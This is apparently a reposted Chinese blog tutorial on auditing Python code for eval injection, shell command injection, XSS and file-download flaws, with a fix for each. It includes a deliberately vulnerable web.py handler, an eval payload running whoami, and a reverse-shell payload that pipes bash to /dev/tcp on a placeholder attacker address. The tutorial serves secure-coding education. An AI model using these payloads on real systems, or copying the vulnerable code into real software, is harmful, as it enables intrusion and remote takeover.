python安全代码审计

  • A+
所属分类:代码审计

在审计代码之前可以用bandit进行白盒扫描,根据结果再去分析是否有具体的漏洞。
bandit安装:pip install bandit

0x01 代码执行

在审python代码的时候,发现很多类似eval(xx)之类的代码,并且xx外部认为可控导致python的任意代码执行。

这种情况大多用在将一个字符串转换为dict的情况。

比如

>>> x='{"name": "dbg"}' >>> print type(x) <type 'str'> >>> a=eval(x) >>> print type(a) <type 'dict'> >>> print a {'name': 'joychou'}

payload:

>>> eval("__import__('os').system('whoami')") root 0 

可以用ast.literal_eval替换eval

>>> ast.literal_eval("os.system('whoami')") Traceback (most recent call last):   File "<stdin>", line 1, in <module>   File "ast.py", line 68, in literal_eval return _convert(node_or_string)   File "ast.py", line 67, in _convert raise ValueError('malformed string') ValueError: malformed string

修复方案:

  1. 使用eval的时候对参数进行过滤

  2. 或者使用ast.literal_eval

  3. 或者使用json.loads将字符串转换为dict(如果功能一样)

0x02 命令注入

python中有很多方法os.system, os.popen, subprocess.call都可以执行shell命令。如果在执行命令的时候,参数是外部人为可控,那么就能造成命令执行漏洞。

我用webpy写了一份有漏洞代码:

#coding:utf-8 import web import subprocess  urls = ( '/code/', 'codeaudit' ) class codeaudit: def GET(self): user_data = web.input(domain = '127.0.0.1')         domain = user_data.domain print '[+]domain: %s' % (domain)         self.count_lines(domain) def count_lines(self, domain): cmd = "curl '%s' | wc -l" % (domain) print cmd         subprocess.call(cmd, shell=True) if __name__ == "__main__":     app = web.application(urls, globals())     app.run()

由于参数domain未做过滤,外部人为可控。并且使用shell=True的参数,可执行linux的bash shell,最后导致命令执行。

反弹shell的payload:

http://www.sectest.com:8080/code/?domain=www.dbg.com'|bash -i >%26 /dev/tcp/x.x.x.x/1234 0>%261 | grep ' 

注意&符号要进行url编码%26,否则在url里会被认为是下一个参数。

由于命令行中存在管道符|,所以如果直接将shell=True改为shel=False,会调用失败。
所以修复方案直接将True修改为False在使用管道符的时候行不通。

不存在管道符:

>>> subprocess.call('whoami',shell=False) root 0

存在管道符:

>>> subprocess.call('whoami | grep xx',shell=False) Traceback (most recent call last):   File "<stdin>", line 1, in <module>   File "/usr/lib64/python2.6/subprocess.py", line 478, in call     p = Popen(*popenargs, **kwargs)   File "/usr/lib64/python2.6/subprocess.py", line 642, in __init__     errread, errwrite)   File "/usr/lib64/python2.6/subprocess.py", line 1238, in _execute_child     raise child_exception OSError: [Errno 2] No such file or directory

correct:

def count_lines(website): args = ['curl', website]     args2 = ['wc', '-l']     process_curl = subprocess.Popen(args, stdout=subprocess.PIPE,                                     shell=False)     process_wc = subprocess.Popen(args2, stdin=process_curl.stdout,                                   stdout=subprocess.PIPE    , shell=False) # Allow process_curl to receive a SIGPIPE if process_wc exits. process_curl.stdout.close() return process_wc.communicate()[0] # >>> count_lines('www.google.com') # '7 '

漏洞修复:

  1. 对参数进行过滤(简单粗暴)

  2. 使用subprocess.Popen

0x03 xss

incorrect

def GET(self): web.header('Content-Type','text/html; charset=utf-8', unique=True)         user_data = web.input(domain = '127.0.0.1')         domain = user_data.domain #return render('hello.html', domain=domain) #return "Hello %s" % escape(domain)  return "Hello %s" % domain

correct

使用escape进行html编码

from flask import escape def GET(self): web.header('Content-Type','text/html; charset=utf-8', unique=True)         user_data = web.input(domain = '127.0.0.1')         domain = user_data.domain return "Hello %s" % escape(domain)

漏洞修复:

  1. escape html编码

  2. render(django python框架)

  3. 对参数进行过滤

0x04 任意文件下载

如果有下载功能的代码,需要检查参数是否外部可控。
如果可控,检查是否有做过滤,没过滤则有任意文件下载漏洞。

看到一份代码过滤如下:

path = path.replace('|', '').replace(' ', '').replace('../', '').replace(';', '') 

未完待续……

参考链接

https://security.openstack.org/guidelines/dg_avoid-shell-true.html
https://security.openstack.org/guidelines/dg_cross-site-scripting-xss.html

转载老湿


本文始发于微信公众号(飓风网络安全):python安全代码审计

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: